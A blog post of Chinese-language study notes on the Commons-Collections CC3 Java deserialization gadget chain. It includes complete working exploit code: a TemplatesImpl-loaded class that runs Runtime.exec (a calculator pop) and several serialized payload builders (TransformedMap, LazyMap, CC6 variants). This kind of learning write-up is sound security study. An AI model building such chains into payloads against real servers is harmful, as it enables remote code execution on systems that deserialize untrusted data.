Flowww's blog
cc3学习笔记
Flow
  2025-02-18   2025-02-19  

前言

相比CC1和CC6利用Runtime.exec()，，但是很多服务器会给Runtime设置黑名单，所以CC3使用的是类加载机制，通过加载一个恶意的类来实现恶意代码执行

环境
  • jdk8u65
  • Commons-Collections 3.2.1

TemplatesImpl的利用

前面学类加载的时候就了解到，大多数情况下defineClass的作用域是不开放的，但是找到一个类TemplatesImpl里的作用域是default，利用路线是

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TemplatesImpl#newTransformer()
	-> TemplatesImpl#getTransletInstance()
		-> TemplatesImpl#defineTransletClasses()
			-> TransletClassLoader#defineClass()

现在按照之前的方法，写一个Calc类，通过TemplatesImpl实现类加载，看看效果，现在的代码：

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package com;

import java.io.IOException;

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("Calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

结合上一篇文章的代码

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  public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
      byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_name","Calc");
      setFieldValue(templates,"_bytecodes",new byte[][]{calc});
      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
      templates.newTransformer();
  }

// 直接写一个方法调用反射
  public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
      Field field = object.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(object,fieldValue);
  }

这个时候运行起来，遇到了报错，出现在newTransformer()那里，也是TemplatesImpl这个类里面的422行

解决报错

进入到代码，在前面一个地方打个断点

前面defineClass()其实已经加载好了，来到后面有一个判断

判断在前面defineClass()方法中传进去的参数b数组的字节码是否继承了ABSTRACT_TRANSLET这个父类，如果没有，则给_auxClasse赋值put，此时在调试台中看变量可以发现这个_auxClasse是null，还没被初始化，所以put会失败

目前看起来有两种解决方法：

  • 让父类继承ABSTRACT_TRANSLET
  • 让_auxClasse不是null

但是要关注到后面的代码还有一个判断

如果 _transletIndex < 0 会抛出异常 而如果不进if语句里(不满足父类 equals ABSTRACT_TRANSLET) _transletIndex就是 -1,也不得行,还会报错

所以我们的解决方案还是让父类继承ABSTRACT_TRANSLET

现在把恶意类改成

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package com;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

再重新建构，执行前面的代码，这样就能正常弹计算机了

结合TemplatesImpl的CC1和CC6

CC1

回顾一下之前的CC1，最后是用transform()触发，现在尝试直接调用看看可不可行

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    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
        byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Calc");
        setFieldValue(templates,"_bytecodes",new byte[][]{calc});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer(); 

      // 把上面这句换成下面的一段
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null); 
    }

    public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }
}

前面已经把我们要传的参数templates用new ConstantTransformer(templates)定义了，后面直接用transform的时候随便传参就好了

接下来引入反序列化

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package com;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
        byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Calc");
        setFieldValue(templates,"_bytecodes",new byte[][]{calc});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(null);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("value","Flow");
        Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,transformerMap);

        serialize(o);
        unserialize("ser.bin");
    }

    public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这样就能执行成功

CC6

原理和上面差不多，直接贴出代码

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package com;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
        byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Calc");
        setFieldValue(templates,"_bytecodes",new byte[][]{calc});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(null);

        // 有一个decorateMap是LazyMap修饰过的
        HashMap<Object, Object> hashMap = new HashMap<Object,Object>();
        Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

        // 再套一层TiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa");
        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry,"bbb");
        decorateMap.remove("aaa");

        // 反射修改factory的值
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(decorateMap,chainedTransformer);

        serialize(expMap);
        unserialize("ser.bin");
    }

    public static void setFieldValue(Object object, String fieldName,Object fieldValue) throws IllegalAccessException, NoSuchFieldException {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,fieldValue);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

CC3本身

我们是通过TemplatesImpl.newTransformer()加载恶意类，查找用法看看哪里有用到newTransformer()，一共有四个地方，最后选择了TrAXFilter这个类，因为：

  • 有一个在Process里面的main，调用不了
  • 有两个在TransformerFactoryImpl，但是这个类不能反序列化，如果还要传参数的话就要看他构造函数有没有操作空间，结果这个类的构造函数没有什么，很难传

  • 最后找到TrAXFilter，这个也不能序列化，不过他的构造函数内容多多了

而且里面直接调用了(TransformerImpl) templates.newTransformer(),非常适合，直接接上前面的内容就可以实现恶意代码执行

这次CC3链子没有用到InstantiateTransformer，而是InstantiateTransformer

他的构造函数参数够多，而且看到他的transform()，完全符合我们的需求

EXP构造

对于InstantiateTransformer的构造函数，我们就这么写，对应上TrAXFilter

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new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})

先直接调用transform()

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InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

这样可以执行，现在套上cc1的内容，为了顺利执行传入TrAXFilter.class这个参数，还是要用到ChainedTransformer

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public class test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
        byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Calc");
        setFieldValue(templates,"_bytecodes",new byte[][]{calc});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap();
        hashMap.put("value","flow");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,transformedMap);

        serialize(o);
        unserialize("ser.bin");
    }
}

这样是能成功执行的，按这个套路套入LazyMap版本的和CC6，都成功了

LazyMap:

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public class test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
        byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Calc");
        setFieldValue(templates,"_bytecodes",new byte[][]{calc});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(),
                new Class[]{Map.class},
                invocationHandler1);
        InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

        serialize(invocationHandler2);
        unserialize("ser.bin");

    }

CC6:

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    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
        byte[] calc = Files.readAllBytes(Paths.get("/Users/lingtian/Downloads/Demo/CC3/target/classes/com/Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Calc");
        setFieldValue(templates,"_bytecodes",new byte[][]{calc});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.newTransformer();

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<Object,Object>();
        Map decorateMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

        // 再套一层TiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "aaa");
        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry,"bbb");
        decorateMap.remove("aaa");

        // 反射修改factory的值
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(decorateMap,chainedTransformer);

        serialize(expMap);
        unserialize("ser.bin");
    }

最后

算是学习了一种新的方式，再结合之前的知识凑来凑去又是新的链子，还是要经常回顾之前的内容，过程中也意识到知识不是很扎实，也是一个查漏补缺的过程吧。

参考

b站：白日梦组长

https://drun1baby.top/2022/06/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8704-CC3%E9%93%BE

https://www.cnblogs.com/1vxyz/p/17458691.html

  1. 1. 前言
    1. 1.1. 环境
  2. 2. TemplatesImpl的利用
    1. 2.1. 解决报错
  3. 3. 结合TemplatesImpl的CC1和CC6
    1. 3.1. CC1
    2. 3.2. CC6
  4. 4. CC3本身
    1. 4.1. EXP构造
  5. 5. 最后
  6. 6. 参考
© 2020 - 2025    Flow
由 Hexo 驱动 & 主题 Keep
  1. 1. 前言
    1. 1.1. 环境
  2. 2. TemplatesImpl的利用
    1. 2.1. 解决报错
  3. 3. 结合TemplatesImpl的CC1和CC6
    1. 3.1. CC1
    2. 3.2. CC6
  4. 4. CC3本身
    1. 4.1. EXP构造
  5. 5. 最后
  6. 6. 参考